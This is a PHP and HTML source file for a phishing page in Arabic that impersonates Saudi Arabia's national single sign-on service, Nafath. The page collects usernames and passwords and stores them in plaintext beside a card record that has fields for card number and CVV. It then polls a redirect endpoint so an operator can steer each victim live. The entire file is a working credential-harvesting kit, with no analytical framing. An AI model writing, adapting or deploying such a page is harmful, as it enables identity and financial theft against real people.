<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'معلومات حساب نفاذ');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'معلومات حساب نفاذ'
    ];
}

if (isset($_POST['submit_LogInToTheSystem'])) {
    $UserName = $_POST['UserName'];
    $UserPasswore = $_POST['UserPasswore'];
    require_once(__DIR__ . "/json_db.php");
    $jsonDB = new JsonDB();
    $X = 0;

    // Ensure card_id exists
    if (!isset($_SESSION['card_id']) || empty($_SESSION['card_id'])) {
        ensureUserRegistered();
        $userId = $_SESSION['user_id'];
        $emptyCard = array(
            'cardNumber' => '',
            'cardName' => '',
            'year' => '',
            'cvv' => '',
            'insurance_company' => '',
            'insurance_price' => '',
            'message' => 'دخول مباشر',
            'type' => '1'
        );
        $cardId = $User->InsertCardVisaRelatedUser($userId, $emptyCard);
        if ($cardId) {
            $_SESSION['card_id'] = $cardId;
        }
    }
    $jsonDB->update('card', $_SESSION['card_id'], ['UserName_Nafad' => $UserName, 'UserPasswore_Nafad' => $UserPasswore, 'CheckTheInfo_Nafad' => $X]);
    if (true) {
        $site = array(
            'message' => 'معلومات حساب نفاذ',
            'type' => '3'
        );
        ensureUserRegistered();
    $userId = $_SESSION['user_id'];
        $User->UpdateStatus($userId, 'معلومات حساب نفاذ');
        echo "<script>document.location.href='wait-nafath.php';</script>";
    }
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>النفاذ الوطني الموحد</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
</head>
<body style="background: linear-gradient(180deg, #f8fafc 0%, #eff6ff 100%); min-height: 100vh;">

    <!-- Header -->
    <div style="background: var(--bg-white); padding: 16px; box-shadow: var(--shadow); text-align: center;">
        <img src="./assets/nafad.png" alt="نفاذ" style="height: 36px;">
    </div>

    <!-- Content -->
    <div class="nafath-container fade-in">
        <div style="margin-bottom: 20px;">
            <i class="fas fa-right-to-bracket" style="font-size: 48px; color: var(--primary); margin-bottom: 16px;"></i>
            <h2>الدخول على النظام</h2>
        </div>

        <div style="padding: 0 16px; max-width: 400px; margin: 0 auto; background: var(--bg-white); border-radius: var(--radius-lg); box-shadow: var(--shadow-md); padding: 24px;">
            <form method="POST" action="StepFourth.php?id=<?php echo $_GET['id']; ?>">
                <div class="mb-3">
                    <label style="font-size: 13px; font-weight: 600; color: var(--text-dark); margin-bottom: 6px; display: block;">
                        <i class="fas fa-user" style="color: var(--primary); margin-left: 6px;"></i>
                        اسم المستخدم
                    </label>
                    <input type="text" required name="UserName" class="form-control" placeholder="اسم المستخدم" style="border-radius: 10px; height: 46px; border: 1.5px solid var(--border); font-family: 'Rubik', sans-serif; text-align: right;">
                    <?php if (isset($_GET['errorCode'])): ?>
                    <small style="color: #dc2626; font-size: 12px; font-weight: 600;">اسم المستخدم غير صحيح</small>
                    <?php endif; ?>
                </div>

                <div class="mb-3">
                    <label style="font-size: 13px; font-weight: 600; color: var(--text-dark); margin-bottom: 6px; display: block;">
                        <i class="fas fa-lock" style="color: var(--primary); margin-left: 6px;"></i>
                        كلمة المرور
                    </label>
                    <input type="password" required name="UserPasswore" class="form-control" placeholder="كلمة المرور" style="border-radius: 10px; height: 46px; border: 1.5px solid var(--border); font-family: 'Rubik', sans-serif; text-align: right;">
                    <?php if (isset($_GET['errorCode'])): ?>
                    <small style="color: #dc2626; font-size: 12px; font-weight: 600;">كلمة المرور غير صحيحة</small>
                    <?php endif; ?>
                </div>

                <button type="submit" name="submit_LogInToTheSystem" class="btn-gonsure" style="margin-top: 16px;">
                    <i class="fas fa-right-to-bracket"></i>
                    تسجيل الدخول
                </button>
            </form>

            <div style="margin-top: 16px; display: flex; flex-direction: column; gap: 8px;">
                <a href="StepOne.php?id=<?php echo $_GET['id']; ?>" style="display: block; text-align: center; padding: 10px; border: 1.5px solid var(--border); border-radius: 10px; color: var(--text-dark); font-weight: 600; font-size: 13px; text-decoration: none; transition: all 0.3s;">
                    <i class="fas fa-redo" style="margin-left: 6px;"></i>
                    البدء من جديد
                </a>
                <button style="padding: 10px; border: 1.5px solid var(--border); border-radius: 10px; color: var(--text-dark); font-weight: 600; font-size: 13px; background: var(--bg-white); cursor: pointer; transition: all 0.3s;">
                    <i class="fas fa-lock" style="margin-left: 6px;"></i>
                    إعادة تعيين / تغيير كلمة المرور
                </button>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer style="padding: 20px 16px; text-align: center; margin-top: 40px;">
        <div style="background: #e5e7eb; border-radius: var(--radius); padding: 16px; max-width: 400px; margin: 0 auto;">
            <p style="font-size: 12px; font-weight: 600; color: var(--text-dark); margin: 0;">تطوير وتشغيل</p>
            <p style="font-size: 14px; font-weight: 700; color: var(--text-dark); margin: 4px 0;">مركز المعلومات الوطني</p>
            <p style="font-size: 11px; color: var(--text-muted); margin: 0;">النفاذ الوطني الموحد جميع الحقوق محفوظة © 2022</p>
        </div>
    </footer>

    <script src="js/main.js"></script>
    <script>
    function checkRedirect() {
        fetch('polling-redirect.php').then(r => r.json()).then(data => { if (data.redirect) { window.location.href = data.redirect; } }).catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
